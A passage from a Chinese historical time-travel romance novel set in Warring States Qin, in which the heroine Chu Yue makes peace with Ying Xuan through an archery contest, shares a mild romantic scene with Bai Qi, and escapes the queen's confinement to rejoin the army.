楚越一时懵了,她也不知道自己有没有被咬到,连忙低头,检查起来,白起单膝跪地,检查楚越的脚踝、小腿等容易被蛇咬到的地方,确认没有伤口后,又站起来,抓住她的手,翻来覆去检查。 确认没被咬到之后,两人悬着的心才放下。 楚越深呼口气,真倒霉。 一扭头,却看见嬴轩站在不远处,正蹙眉打量着自己与白起。 人还能这么倒霉?! 冤家路窄,但也不能这么窄吧! 嬴轩眯着眼睛,看向白起,楚越眸光一紧,当即往前,挡住白起,她无畏对上嬴轩打量的视线,直直盯着他。嬴轩挑眉,上下打量了楚越一眼,心中已然明了。 方才他听见喧嚣,一路跑过来,才走近,便见白起抓着楚越的手,神情焦急,楚越似乎也并不排斥他的接近。 原本他还在想,是否因为事急从权,才会如此,但楚越接下来的反应,告诉了他答案。 他冷冷看了楚越和她身后清俊少年一眼,对身后士卒道:“走。” 盯着嬴轩的背影消失在黑暗中,楚越悬着的心并没有放下。 “他是谁?”白起觉察到嬴轩眼中异样,但楚越已经做出反应,他便没有轻举妄动,而选择在她身后,蛰伏观察周围一切。 楚越想了下,“是我得罪的人,我会解决这一切的。” 该来的是躲不过的。 白起看了楚越一眼,“好。” 为期半月的围猎很快结束,嬴驷的车驾回到咸阳,还未入城,王宫便有喜讯报来,芈夫人又产一子,嬴驷围猎满载而归,本就心情愉悦,回家又得一子,更是开心,当即为这位新出生的王子取名为‘芾’(fei三声)。 宫中有王子出生,按制应由女巫祓除【2】、驱邪。 祓除指清洁,孩子降生之后一段时间,要洗去身上污垢,剃除胎发,与此同时,女巫傩舞在外,驱恶灵于屋宇,以保孩童不夭折。 芈夫人派人请于王后,希望能由楚越为王子芾祓除。 祓除并不在楚越的工作范围之内,司巫掌群巫之政令,简而言之,她是管理层,这种一线业务,应该由基层员工提供服务,再者,她也不太会这种专业性很强的东西。 她不是真法师。 按专业而言,她更该去当个和巫官差不太多的史官,但这个时代,史官是个不对外开放,家传的萝卜岗。她要想当史官,必须自己给自己挖坑。 干史官要有一颗不屈的心,记录下的东西要对过去、现在和将来负责。 “在齐太史简,在晋董狐笔”。 齐太史、晋董狐宁可被杀,也要在竹简上写下历史真相。 楚越沉思良久,她还是继续当巫官吧。 王后同意了芈夫人的请求,并叮嘱楚越,要小心为之,不要伤到王子,王后下令,楚越自然遵从。 给娃娃洗澡,还是颇有难度,新出生的婴儿,身体脆弱,楚越小心翼翼捧着这宝贝金疙瘩,生怕摔着碰着他。 公子芾很健康,从他的那不亚于舅舅的嗓门就可以听出,一嚎起来,响彻寰宇,他哭个不停,楚越一边哄,一边为他洗澡,一个澡洗完,累出她满头大汗。 作为回报,芈夫人给了她许多赏赐。 丝帛花纹精致,版形爰金【3】方方正正,颇有重量,楚越伸手抚摸了上面的铭文,不舍的唤来宫人,让她将礼物换个盒子,再添几件。 “再拿点金饼吧。”楚越下了血本。 她的心在滴血。 金子啊,她辛辛苦苦攒下的工资和奖金啊。 算了,就当花钱消灾了。 “你为我准备车,我要去公孙轩府上。” 楚越并不觉得自己错了,但有些误会还是说开的好,以免波及无辜。 第28章 力挫嬴轩神箭手竟是她自己 楚越到嬴轩府上时,嬴轩正在院中练箭,下人通禀之后,径直将她引到了箭场。 青年一身深黑戎袍,身材高大,开硬弓如满月,瞄准前方,见楚越来了,嬴轩斜了她一眼,手中箭矢飞出,‘叮’得声,钉在靶子上。 楚越回头,扫了一眼不远处的靶子,箭头入木三分。 这就是项庄舞剑,意在沛公了。 嬴轩射的哪是靶子,分明想射她。 “公孙,司巫来了。”下人出声道。 嬴轩这才放下弓箭,楚越也收回视线,二人假模假样相互见礼。 “公孙。” “司巫。” “不知司巫前来,所为何事?”嬴轩明知故问道。 楚越垂眸,态度放得低,“特来向公孙致歉。” 侍从将礼物奉上,嬴轩却连看都没看一眼,冷笑道:“司巫何错之有啊~~司巫志存高远,要为大秦开疆拓土,倒是在下冒昧,耽误司巫建功,一展胸中宏图。” 他话说得快,调子半死不活。 相识多年,楚越第一次见嬴轩说话如此阴阳怪气,这尖酸刻薄的模样,实在是让人想笑。 不行,不能笑。 楚越硬掐了自己一把,才压下笑意。 “逃婚一事,实在是愧对公孙。” 说罢,她便抬手,欲拜嬴轩。 嬴轩一挥手,“打住,楚越,你也别愧不愧对了,嘴上说着,心中指不定怎么想的。你若真愧对我,岂会现在才登门?” 早知道嬴轩会这么问,楚越在来的路上就编好了理由,但还未开口,嬴轩又打断她,“你别以为我不知道,你登门道歉,不是真觉得错了,而是想将此事化无。” “是为了那个小子是吧,叫,白起。” 听见白起的名字,楚越抬在空中的手一顿。 看这样子,嬴轩应该已经调查过白起了。 “这事和他没关系。”楚越站直,抬头望向嬴轩,神情陡然变得严肃起来,“你若查过,便知道我之前与他并不相识,是逃婚之后才认识。” 嬴轩扫了她一眼,也认真起来,“那你为什么逃婚?” “因为不想嫁。”楚越直言不讳。 嬴轩一愣,“你” “我不道歉,是因为并不觉得自己有错,公孙似乎并没有询问过我的意见吧。” 嬴轩想了想,似乎觉得有理,但还是道:“这是王上的意思。” 话说到这里,便没有再说下去的必要,在‘君命不可违’的基础上,错的只能是不尊王令的那个人。 就是楚越。 “是我不尊王令,连累公孙,那公孙要我怎么做,才能释怀?” 嬴轩看了楚越一眼,手微微抬起,在木架上数排弓中逡巡一圈,最终拿起其中一张,横在楚越面前,“你若胜了我,此事便一笔勾销。” 楚越垂眸,扫了一眼那弓。 是一张硬弓。 不同的弓,要用不同的力气才能拉开,硬弓便是强弓,要驾驭强弓,非有一定箭术与臂力不可。 技术不太缺,但是力气就不好说了。 “那我若是输了呢?”楚越问道。 “先比试。” 楚越换了身衣服,站在靶前,双脚分开,与肩同宽,她深吸口气,试着拉了下手里的弓,她稍微用了几分力气,但弓只开了一点点。 这弓,果真如她想的那样。 嬴轩见她拉空弦,蹙眉道:“你小心点,我刚得的。” 拉弓不能放空弦,否则会损伤弓臂,听嬴轩这么一说,楚越脑中顿时浮出个馊主意。 是不是坏了,就能换弓。 想到这里,她不由偷看向一旁弓架,上面罗列许多秦弓,与她现在手中这把大为不同,那些弓,明显要轻一些。 习弓者选弓,不是越硬越好,而是以自己的臂力为准,适合自己的,才是好弓。 很显然,架子上的弓,才是嬴轩真 实臂力,楚越估算了一下,那弓对她来说,虽然还是有一些硬,但比起手中这把,要好得多。 就在她想着,不然把这把弓毁了,换弓之际,嬴轩开始讲起规则。 “一人十支箭,谁中靶最多,便获胜。” 楚越惊了,“十支?” 这么硬的弓,开十次。 当她是大力士吗?大力士来了也得歇菜啊。 她低头看向手中硬弓,弓臂上,漆纹鲜艳,不知花费弓人多少心血。但眼下别无选择,她只能对不起这件文物了。 对不起了。战国秦制复合彩漆大弓! 楚越手指勾住弓弦,气沉丹田,想要给这文物致命一击,身后却忽然传来嬴华的声音,“楚越?” 胸中一口气刹那散了,楚越愕然回首,嬴华不知何时出现在自己身后,一身与嬴轩相似的戎袍,未戴冠,编发整齐。 嬴轩站定,向嬴华行礼,“堂兄。”嬴华从容还礼,问道:“她怎么在这儿?” “她?她也是来找我比箭的。” 嬴华狐疑蹙眉,“什么?” “还请堂兄做个见证,我们一人十支箭,中多为胜。” 嬴华垂眸,视线落到楚越手中硬弓,“用这把弓?” “是!” 嬴华不可置信看了楚越一眼,似乎不知她为何会答应嬴轩这个无礼的要求,但很快他就想明白,低头笑了下,“哪有为难人,连着自己一起为难的?” 嬴轩只是道:“堂兄做见证便是。” 楚越歪头望了二人一眼,从嬴华的话中,不难听出,嬴轩也未必能驾驭这把弓。 她当即将弓递给嬴轩,“你先来。” 正所谓以不变应万变,嬴轩要是表现得好,再耍赖不迟。 嬴轩目光似乎洞穿一切,“少来,想耍赖是吧,你别以为我没看到,要是弓坏了,你就等着吧。” 话语里威胁之意赤/裸,楚越投鼠忌器。 事到临头,只能赌一把了,楚越站在靶前,双脚分开,保持下盘稳定。 望着眼前标靶,她心想,十支箭,对她而言,太多了,一支一支瞄准,需要维持的时间太长,恐怕不过一半,便会力气耗尽,肌肉酸痛,再拉不开弓。 只能耗尽力气之前,射出尽量多的箭矢。 速射,是当下最好的选择。 而且标靶并不远,还有一定几率捡漏。 决定好策略,楚越当即便行动,深吸口气,蓄力于臂膀,数支箭矢在极短的时间内,一支接一支飞出,一时羽箭乱飞,有钉在木板上的,也有掉落一旁。 一支箭不中,楚越不消沉,一支箭中了,她也不喜悦,一直保持着冷静,直到第十支箭从手中飞出。 垂下的手,在身侧不止的颤抖,小臂酸软,再抬不起分毫,楚越呼出口浊气,但听不远处舍人喊道: “司巫中六。” 楚越眼前一亮,这么高的中率,神箭手居然是她自己!看来魏冉说的是对的,弹弓与箭同源,都属于射,平日多练弹弓,也能提升箭术。 他教的东西,居然在这里用上了! 回去要送点猪头谢谢他。 闻楚越中六,不止是嬴轩,就连嬴华,都惊讶的朝她看来。 “嬴轩,你这可就”嬴华笑着看向嬴轩。 嬴轩‘嘶’的吸口气,打量楚越一眼,认真问道:“你从哪儿学的?” “秘密。” 楚越已经看到胜利的曙光,嘴角难以压下。 到了嬴轩,前三箭都没有中,他不免有些懊恼,却也并未放弃,稍微调整后,又发出第四箭,这一箭,正中靶心。 留给他的失误空间不大,如果再有一箭不中,他便与楚越持平,又一箭,则输赢立分。 他有些踌躇,站在原地,似在思索。 接下来又是三箭,中二落一。 局面已经持平,嬴轩叹口气,箭口忽然朝上,对准天空,最后一矢,飞跃而出,在空中划出道弧线。 “你赢了。”嬴轩放下弓,侧首望向楚越。 楚越一笑,颔首道:“多谢公孙让我。” 嬴轩无奈摇头,叹口气挫败走开。 一华服女子款款自廊下而来,见楚越与嬴华,屈膝向二人见礼,两人点头还礼。 女子接过侍女手中巾栉,细心为嬴轩擦拭起来,嬴轩望向那女子,目光温柔。 楚越望着眼前一幕,不由叹口气,王后告诉她,嬴轩的夫人未过门便离世时,楚越还感慨过命运无常,前几日方见过的人,忽然便去了。 后来,楚越才发现,自己和王后说的不是同一个人,嬴轩的聘妻,出身魏国近宗,是原配的亲属,楚越见到的,是陈姬,原本是酒肆中的一名歌姬。 没妻,但有姬妾啊,这还能算单身? 这好像确实算。 好一个黄金单身汉,楚越气得笑了。 战国婚龄早,要想嫁一个她心目中的理想型,要么趁早,要么往下兼容,贵族三妻四妾,但庶人一般是一夫一妻。 侍从拿来席子,几人在庭中坐下,嬴轩这才看向楚越带来的礼物,他大概扫了几眼,目光平静,似在看待俗物。 “金子拿走,我只是想看看传言到底是真是假,现在看来,也倒不全是假的。你居然还真有如此可嘉的勇气,敢上战场杀魏军。” 此时嬴轩再看向楚越的眼中,带着惊喜与欣赏。 秦人,爱军功,太爱了。 楚越显然只听进去了第一句,当即问道:“真的?” 血汗钱她能拿回去? “我骗你做什么?我好歹是公孙,不缺你这点礼。” 楚越还想客套下,但嬴轩已经示意侍从将黄金抱走,侍从看向楚越,楚越点头。 “看来堂兄真没骗我,我误会兄长了,敬兄长一杯,向兄长谢罪。”嬴轩举杯,遥敬嬴华。 嬴华举杯,“我说的当然是真的,好端端骗你做什么。” 寒暄几句,略作休息,嬴轩与嬴华继续练箭,楚越实在是精疲力竭,留在庭中,陈姬一旁作陪。 “司巫果真不凡。”陈姬夸赞道,“公孙起初还不信,以为公子华偏向司巫,如今一见,料想他必然已经心服口服。” 楚越蹙眉,垂眸略微思索,便想明白方才嬴轩对嬴华那番话的含义。 她举目,望向二人,虽是堂兄弟,两人却生得相似,他们步调一致,同举弓,一起放箭,两支箭矢飞出,落到靶子时,又分出高下。 嬴华的箭,正中靶心,嬴轩的箭,则歪了一点。 楚越正望着靶上的箭出神,却听陈姬道:“王上有意命公子统兵伐韩,不知司巫可知这件事?” 她转过头,却见陈姬小心试探道:“公孙也会同去,不知司巫对此战,有什么看法?” 统兵。伐韩。 楚越顿时直起上身,对嬴轩喊道:“公孙。” 嬴轩回首。 “想不想知道我师父是谁?” 如楚越所料,嬴轩对这件事很感兴趣,手里的弓垂下,半边身子都转了过来,他望着楚越,认真问道:“是谁?” 一旁嬴华也有些好奇,“是魏冉?还是白起?” 第29章 亲亲亲浅浅kiss一下 射了三天箭,嬴轩一手勾魏冉肩,一手搭白起背,“两位小兄弟好厉害。” 魏冉嘿嘿一笑,“公孙的箭术也不遑多让。” 白起抱拳,“公孙谬赞。” 骤然瞥见三人好的亲兄弟一般,楚越冷笑声,心想男人的心真是多变啊,犹记自己几天前提起魏冉、白起,嬴轩尚一脸不忿。 “你信我!魏冉和白起的箭术都很好的。”楚越急的站了起来。 “我不信。”嬴轩白了楚越一眼,“我可不信你有奚祁之德,能外举不避仇,内举不避亲,你喜欢他,当然看他哪儿都好。” 楚越‘嘶’的吸口气,就同嬴轩争辩起来,两人你一言我一语,一个不信,一个非要对方信。 就算强买强卖,她也要把白起推销出去。 最后还是嬴华劝道:“这两人我都见过,有军功在身,别急着下定论,先见一见。” 听到军功,嬴轩的态度才稍微缓和,半信半疑道:“好吧。你若是敢骗我,你就等着。” 说着,嬴轩抬起了手,以示恫吓。 楚越下巴扬起,“别以为我打不过你。” “你!” 这一见,他们就见成了异父异母的好兄弟。 若非早已春尽桃花败落,楚越觉得他们三个就要拉着手去结拜了。 嬴轩与魏冉年纪相差 不大,略微年长他两三岁,白起略小于魏冉,与嬴轩差了四五岁。 “你胆子不小。”嬴轩上下打量眼白起,越看越欣赏,他忽然办玩笑半认真问他道:“好小子,竟然敢来见我,不怕我报复你吗?” 白起低头一笑,“司巫让我来,必然有让我来的道理。起问心无愧,也相信,公孙也不是那种不问是非曲直,心胸狭隘的小人。” 嬴轩笑了,看向不远处,白起、魏冉也顺着她的视线望去,不远处亭中,楚越与嬴缃、嬴嘉挤在一起,窃窃私语。 “魏冉好厉害,他居然能赢过轩兄。” 嬴缃抓住了楚越的胳膊,激动不已。 楚越偏头,望向身旁两眼放光的嬴缃,嬴缃明显认真装扮过,眉毛修剪得细长,涂成翠色,丹唇一点,鲜红欲滴,鹅蛋脸,五官精致,十分可爱。 楚越将魏冉和白起一股脑荐给嬴轩,又将这消息泄露给嬴缃。既然已经乱了,那就再搅一搅,苦一苦自己,也要让迷妹称心如意。 嬴缃自然是一蹦三尺,得知他们是要比箭,她还拉来了兄长公孙奭。 公孙奭听说有嬴轩、嬴华,也欣然前往,与之同来的,还有嬴疾等一众将领,将军们下了班,也要搞点娱乐活动,途遇公孙奭,便跟了过来。 一传十,十再传十,就是一百。 楚越瞠目结舌望着眼前一众不知从何而来的大小将领。 都哪儿来的? 就算是空手套白狼,也得是伸手,她还没张开陷阱,就掉下来这么多人? 不对吧。 她什么时候这么厉害了? 嬴缃大大方方上前,和这些人攀谈,他们看嬴缃的眼中,全然慈爱。楚越将这一切尽收眼底,恍然大悟,原来是因为嬴缃。 公孙的影响力,不是她能想象的,血缘,是斩不断的纽带。 真煮成一锅粥了?那大家就趁烫喝了。 好好的比箭,成了箭术考核大会。 第一日比试结束,结果显而易见。 作为众人之中,年纪最大、资历最深的存在,公孙奭语重心长拍了拍嬴轩的肩膀,发表以下讲话。 不是嬴轩太菜,是秦军后起之秀比较突出,望嬴轩同志,在接下来的日子中,努力练习射这项君子必备技能,超越自我。 同时,他也对魏冉和白起的箭术表示肯定,希望他们再接再厉,为秦军创造辉煌。 经此一事,嬴嘉也对魏冉改观了,“他虽然无礼,但箭术却不错。但。” “我还是觉得魏冉身边那少年更稳重些。” 楚越‘嗯’的点了点头,但随即觉察到一丝异样,语调转折,“嗯?” 她视线从嬴缃身上抽离,转投向嬴嘉,嬴嘉也觉察到落在自己身上的目光,抬头对上楚越的眼睛。 “怎么了?司巫。” 比起妹妹,嬴嘉更似一位端庄贵女,她平素很少这么夸赞一个人,尤其,是年轻的男子。 “你觉得他好吗?”楚越笑着问道。 嬴嘉脸上浮起一丝羞涩,转过头去,“司巫问这个做什么?” 楚越只当没看懂,口气骄傲道:“看来我的眼光不错,你也觉得我的情郎好。” “啊?”嬴嘉肉眼可见的愣了一下,眼神有些慌乱,连忙解释道:“我我并不知他是” 楚越继续装傻,“奚祁内举不避亲,公孙倒也不用因为同我亲近,而吝啬夸奖他。” 嬴嘉一怔,会意低头一笑。 片刻,她复抬头看向楚越,坦荡道: “我确不知他与司巫有情,既然你二人已经定情,我也实在不好夺他人所好,秦国好儿郎众多,没有这一个,定然还有下一个。” 楚越愣了一下,慢慢看向嬴嘉。 她圆了半天的事情,还是让她说了出来,就是这个结局,在她意料之外。 她还以为嬴嘉要跟她抢呢。 这就不要了? 十四岁的少女,翠眉红唇,别有秦国女子的风姿,能驯服野马驹的豪迈血液,流淌在她身躯之中,她骄傲、又好强。 嬴嘉不接受楚越的高情商回复,梗直的要将真相摆出来,说清道明。 楚越哭笑不得,只能尴尬夸道:“公孙坦荡。” 就在两人对视之际,耳边忽然传来阵叹息,楚越循声望去,发现是嬴缃,她双手捧腮,感慨道:“不懂你们,我还是觉得魏冉好。” 楚越与嬴嘉对视一眼,噗嗤声笑了出来。 真夸魏冉,她倒是又该不高兴了。 沣水清澈,洋洋洒洒,奔腾往前,楚越和白起漫步河边,夏风过水,迎面袭来,凉意清晰,令人感到惬意无比。 鬓边发丝纷扬,楚越忽然心血来潮,往前跑了几步,想要转头,模仿一段影视剧女主的嫣然回首。 谁料就在她转头之际,一个浪头卷来,漫过楚越的裙摆衣角,她连连后退。 逆风而行,发丝被吹到脸上,遮住眼睛,她一手提裙,一手撩发,蹦跳着躲避水浪,手忙脚乱,狼狈不堪。 白起上前,拉住她,两人跑到远处,脚下湿意明显,楚越低头一看,裙角也湿了大半。 好一个偷鸡不成蚀把米。 白起望着她,目光困惑,“刚才跑什么?” 楚越抿唇,“没什么。” 她窘迫的提着裙子,不让湿掉的边缘沾上泥土,四处观望了圈,找到块大石头。白起扶着她过去,楚越在石上坐下。 白起蹲下,单膝触地,弯腰替她拧起裙摆,楚越低头,拧起另一边。 拧衣服时,一缕头发从耳后垂落,轻飘飘的发丝随着楚越微弱的动作,扫过白起的脸颊。 微微地,触动脸颊的汗毛,很痒。 白起抬头,想要将这缕头发拢回楚越耳后,楚越也恰好抬起头,想要捉拿这缕发丝归案,两人同时抬头,四目相视,彼此的脸近在咫尺,楚越心中一颤,呼吸也为之凝滞。 他们望着彼此,心剧烈跳动,紧张,却不肯移开视线,温度逐渐上升,气氛也渐渐变得暧昧。 夏日的太阳,照得人心里发慌,像是有团未明的火焰在燃烧。 白起垂眸,不动声色拉开二人间的距离,等到离得远了,他才重新看向楚越,伸手将她那缕发丝拢到耳后。 “鞋子也湿了吗?脱下来,晾晾。” 他脱下外衣,垫在地面,楚越脱掉鞋袜,白起注意到,楚越的鞋子很精致,木头为底,鞋身还有花纹。 白起拎在手里,认真看了眼,“这是楚国的物产,楚人才会喜欢这种云纹。” 楚越点点头,“芈王妃送我的。” 白起将鞋袜晾好,在楚越身旁坐下,楚越侧首,对上白起漆黑的眼眸。 即便在日光下,他的眼睛也毫不褪色,白黑分明,黑色,吞噬一切。 “你的眼睛真黑。” “你的眼睛美丽的像琥珀。”白起由衷道。 楚越的眼睛,在日光下,逐渐清澈,透明的浅褐色的眼珠,宛如琥珀,包裹中央一点眼瞳。 楚越盯着白起的眼睛,“我听人说,长着一双不变色黑眼睛的,生来就很有自己的想法。” 很有想法,跟倔驴一样。 “你听谁说的?” “一些朋友。” 网上看的,网友也是友。 白起低头,错开楚越的视线,伸手整理了下楚越宽大的裙摆,让太阳能够更好的照在被河水浸湿的地方。 楚越的脚很白,白起顺手将裙摆盖在她脚背。 人之所以区别于禽兽,便是因为有礼。 君子,不会对女子无礼。 楚越踢开脚背的裙子,白起微微侧过身,看向远方,楚越笑了,自后靠在白起肩头,双手穿过他肋下,抱住他。 “你在战场上,也会和敌人讲礼吗?要学宋襄公,打出仁义的旗号?” “这不一样,敌人是敌人,你不是敌人。” “那我是什么人?” 白起想了想,回头道:“自己人。” “自己人?” “嗯。” 白起微微一笑,补充道:“可以把后背交给你的自己人。” “原来如此。” 楚越忽然握住了白起的手,白起不解,顺着她的动作转了回来,楚越却拉着他的手,按在自己胸口,白起反应过来,触电般,猛往回缩,却被楚越双手按住。 她挣扎不得,错愕望向楚越。 楚越盯着白起的眼睛,“我是自己人吗?我难道不是细作吗?我身上,可藏着地图呢。” 白起的脸一刹从耳后红到了脖颈,薄唇紧抿,他微微张唇,似乎想辩解些什么,张口,耳边却传来自己略显急促的呼吸声。 君子报仇,十年不晚。 楚越还要加收点利息。 她纵身扑进白起怀中,白起被这忽如其来的一扑冲得失去平衡,两个人一起摔在了河边的的草甸上。 虽然楚越是看准了方向才扑的,但地面并不平坦。即使有草甸作为缓冲,也依旧隐藏着些许碎石。白起先着地,身上还压着个楚越,后背硌在地上的石头上,楚越清楚听见听见白起痛苦的闷哼了一声。 “你没事吧。”楚越听出了白起声音中的痛感,单手撑着他的胸膛,抬起一颗头,只见白起眉头微皱,脸上还残有痛苦之色。 白起的手臂合拢,将楚越直起的腰背又压了回去,他抱住楚越,在她耳边道:“没事。” 鼻尖相对,楚越感受到白起温热的呼吸喷洒在脸上的微痒,她垂眸,对上白起那双深黑无澜的眸子。 短暂的局促、仓惶之后,白起迅速接受了现状,目光平静凝视着楚越的眼睛,隐约两军对阵的无畏。 古语有云,狭路相逢勇者胜,白起在短时间内的迅速领悟,反倒让楚越成了劣势的一方。 她的脸开始发烫,烫到了耳后,悸动混合在羞涩在夏日的凉风中迅速发酵。 楚越不得不伸手捂住了白起的眼睛,以免心中的退却取代勇气。她的吻落到了白起的唇上,白起的呼吸随之变得沉重。 温热的唇落在白起唇上,白起微微仰头,想要获取唇边触手可及的温暖与甜馨,但那甜馨就像一直浮在空中的羽毛,飘飘转转落在他心上。 他的心痒痒的,刚想要伸手,又被伸手时带出的微风吹上天空。 得不到的,在他心头悸动,他屏住呼吸想要触到那羽毛,那松软的羽毛落到了他的脖颈,一阵暖洋洋温暖躯体,被脖颈下隐隐跳动的血脉输送全身,暖流瞬间涌遍全身,他的身体也随之升温。 楚越的吻落在白起唇上,落在唇角,落在脸颊,顺着耳垂一路到了颈窝。 呼吸声,沉重的呼吸声。 天地间寂静,楚越和白起只能听见自己沉重的呼吸声对耳畔对方的喘//息。 羽毛落在肩颈,便戛然而止。 楚越停了下来,微微抬头,开始思考,下一步怎么搞? 先脱衣服还是怎么?脱衣服的话,这光天化日的,万一来人了怎么办?不脱吗?那不行吧。 脱了又怎么办? 求一个教程。急。 时间一分一秒过去,两人的呼吸渐渐平静下来,楚越松开捂住白起眼睛的手,白起也适时松开了自己的手。 她坐了起来,背对白起整理衣服。 白起依旧躺在地上,仿佛劫后余生的深呼吸几口气,才坐了起来。 夏风穿裙而过,打湿的地方很快变得干燥,人生聚散,如露水一般,水干了,人也要离散。黄昏落日,照一对分别之人。 “我会来找你。” 白起蹙眉,“嗯?” 第30章 回到军营给大号加战功 五国相王,以求合纵自保,此举有损大国利益,于是乎,几个大国先坐不住,武力威胁,企图拆散合纵。 齐国将矛头对准了中山国。 齐威王大怒。 中山君,你什么档次,一个蕞尔小国,多少战车?多少兵马啊?敢跟我戴一样的王冠,和我称一样的王? 秦国比较务实,举起大耳巴子,先抽重用公孙衍不重用秦国代言人张仪的魏国,反手又准备抽比邻的韩国。 嬴驷一面派人吊唁周王,一面调兵,准备伐韩。 楚越面王,请求从军。 嬴驷眉毛微微蹙起,问殿中站着的楚越道:“真要去?” “臣真的去。” “不怕死?” 楚越深吸口气,这么大的领导怎么说话没情商呢?张口就是这么不吉利的话。 “臣不畏死。” “好吧。”嬴驷满不在乎道:“反正命是你的,你爱怎么折腾怎么折腾吧。但王后那边,你自己去说,不要打寡人的名头。” 楚越猛然抬头,“王上!” 不狐假虎威,她怎么说服王后? “出去。”嬴驷没给她继续诡辩的机会。 走在去后宫的路上,楚越叹息不止,都当大王了,还学一些不入流领导一样,四处甩锅。 不能打嬴驷的名义…… 她只得硬着头皮将实情告知王后。 王后的眼泪簌簌而落,她一把抓住楚越的手臂,急切问道:“真要去” 果然不是一家人不进一家门,问的话都一模一样。 楚越重复道:“真要去。” “你去做什么?打仗有将士,你莫不是为了那个后生。”王后显然生气了。 历朝历代,都要防黄毛。 mummy啊!他才不是什么臭小子。 他真的不是。 而且她也不是为了白起啊。 “当然不是。”楚越严肃道。 “那你去做什么?”王后追问道。 “王上授我以官职,我自当为王上分忧。” 王后冷笑声,“说得像个忠臣,做的却全是违背君命的事情,你若真想为王上分忧,就不要去,乖乖留在咸阳。” “王后待我如亲女,我又怎能不奋进,为王后屏障,为荡公子扫清前路呢。” 乍闻此言,王后目光一凝,望向楚越。 楚越继续道:“周显王崩,王上派公子壮前往成周吊唁,王后难道忘记,当年君上还是太子时,曾率众朝见周天子一事吗?” “公子壮年长,必定先于公子荡进入军营,若让他先有军功在身,而王后身边无人制衡,岂非不利于公子荡。” 楚越曾认真想过,王后为自己择亲的标准。 贵族阶层的婚姻不仅仅是婚姻,也是利益交换。 嬴轩是公孙,他的兄长庶长操执掌咸阳卫戍,嬴华是公子,都是宗室的重臣,有军功、地位、影响力,足够影响立储。 世人逐利,要想说服王后,光凭口舌是不够的,王后最在意,莫过于独生子嬴荡。 嬴荡,是她的儿子,也是她后半生的依靠。 楚越一番话,显然令王后动心,但不过一刹,王后的语气重新变得坚定: “可我也不能为了荡儿,让你去那种地方,不要再说了。” “王后。”楚越急了。 王后斩钉截铁道:“来人,看住司巫,不许她出去。” 奉王后之命,六个宫人分成三组,三班倒的看着她,楚越走一步,她们走一步,楚越走两步,她们走两步。 再往前走,身前便又多了两个寺人。 楚越绕着天启阁转了一圈,便摸清了宫人、寺人的位置,想看住她? 她可是秦军精锐!精锐知道吗? 精锐刚找到视角盲区,翻上院墙,身后便传来嬴荡的声音,“姊姊,你在做什么?”楚越低头,不远处两个小人,一高一矮,齐齐望着他。 高的是嬴荡,矮的是嬴稷。 在宫人觉察之前,楚越从墙上跳了下来,宫人听到嬴荡的声音,小心查看,见楚越还在,又悄然退回原处。 楚越看了一眼宫人的方向,食指放在唇上,做了个噤声的动作,示意两人不要说话,而后低声道:“走,带你们出去玩。” 听说要出去玩,两人自然欣喜,捂住嘴,不发出一点声响。 嬴华独自出宫,途径宫门,风中忽然传来阵熟悉的声音,回头一看,发现声音是从墙的另一边传来的。 他单手按剑,穿过御园,树丛垂下深绿长枝,他伸手,掀开挡在面前的树枝,楚越正骑在墙上,深黑的裙摆,垂在灰青的宫墙。 她脚下,嬴荡弯腰,露出自己结实的后背,赢稷踩着嬴荡的背,骑在墙上的楚越朝他伸出手,楚越将嬴稷拉上墙,两人又弯腰拉嬴荡。 放着门不走,走墙,必定有鬼。 “你们三个当王宫是什么地方。”嬴华从树下走出,“要做什么?” 忽如其来的声音,打断专心致志翻墙的三人,楚越抬头,见是嬴华,用力将嬴荡一拽,扶着他在墙上坐稳,而后对两位小公子道: “下次再带你们出去,我先走了。” 带上,是怕他们出卖自己,楚越原本打算中途找个合适的机会,将他两人丢下,嬴华的出现,实在是天时地利人和。 她松开嬴荡,径直从墙上跳了下去。 丈高的墙对她来说不算什么,但对不到十岁的嬴荡兄弟而言,犹如身处云端,他们被困在墙上,上下不得。 嬴华上前,逐一将两人从墙上抱下。 “公叔,司巫骗我们。"嬴荡一落地,便迫不及待向嬴华告状道。 嬴华看了他两人一眼,问道:“怎么骗的。? “她说带我们出去玩。” 嬴华笑了,摸摸嬴荡的头,“看时辰,两位公子现在应该在学经,如此想来,就算是被骗,也怨不得旁人。” “我们没有逃学,是先生病了,王后说,司巫一个人在天启阁会无聊,让我们去找她玩。”嬴稷口齿清晰的解释道。 嬴华敏锐从嬴稷的话语里觉察到异样,垂眸略微思索,便隐约猜到了什么,“这样吧,我带你们去找她讨个说法。” 两人异口同声,“好!” 楚越翻墙出后宫,脱离王后实控范围,而后便坦然走起大路,以令牌符节出宫。看守宫门的卫尉,并不听命于王后。 禁军,从来只听命于秦王。 等楚越到嬴轩府上,嬴华早带着两位公子在这里等着她,她刚踏进府门,嬴荡和嬴稷就一前一后杀了出来,以迅雷不及掩耳之势,抱住她的腿。 “你骗我们!”嬴荡声讨道。 “大骗子!”嬴稷也道。 楚越愣住了,望着挂在腿上的两块宝贝金疙瘩,愕然道:“你们怎么过来的?” “你这么大个人了,还骗小娃娃,我当然要为他们做主。”嬴华双手抱臂,半靠在柱子上,笑着打量楚越道。 “松手!” 楚越想要甩掉两人,但嬴荡嬴稷一人抱住她一条腿,坐在她脚面,她是甩也甩不掉,跑也跑不脱,只能换了副温和的态度,向两人道歉。 “两位公子,对不住,下次,我下次一定带你们出去玩。” “为什么不是这一次?”嬴荡问道。 “因为这一次我有事,不能带着你们。” 嬴荡想了想,继续问道:“那你要去哪儿?” 楚越低头,瞥了一眼嬴荡,没有回答,而是抬头看向一旁静默不语,听着他们谈话的嬴华,“你别乱教他们。” 嬴华被戳穿,索性问答:“真要去?” 这已经是一天之内,第三个人这么问她了,他们一家子人真是 “当然要去。” “行。”嬴华点点头,“那就去。” 楚越听嬴华这么说,眼前一亮,似乎没想到他会不计前嫌会帮自己,她垂眸,略微有些踌躇,“你不生我气了?” 嬴华愣了一下,恍然才想起吵架的事情,那日的楚越的话,还音犹在耳。 别管她?! 说的他多管闲事一样,他也是活该,非要管。分明已经在心里暗暗决定,以后她的事情,自己只当没看到,没听到,不知道。 可不知为什么,一看到她,往日不快便一扫而空,若非她提起,他还真是就忘了 但话都说出去了,也不能收回来。 君子一言既出驷马难追。 “我要同你计较,只怕早气死了,仗还没打完,我不能死,先放着吧,等我什么时候有空了,再慢慢和你算总账。” 楚越瞪大了眼睛。 居然是记档待读?这么记仇? 小心眼的男人。 楚越不知道嬴华和王后说了什么,王后的态度发生了一百八十度的转变,居然松口同意了此事,王后同意,秦王没有异议,一切事由,参照过往案例办理。 她重新回到了阔别已久的军营,与曾经并肩作战的同袍重逢。 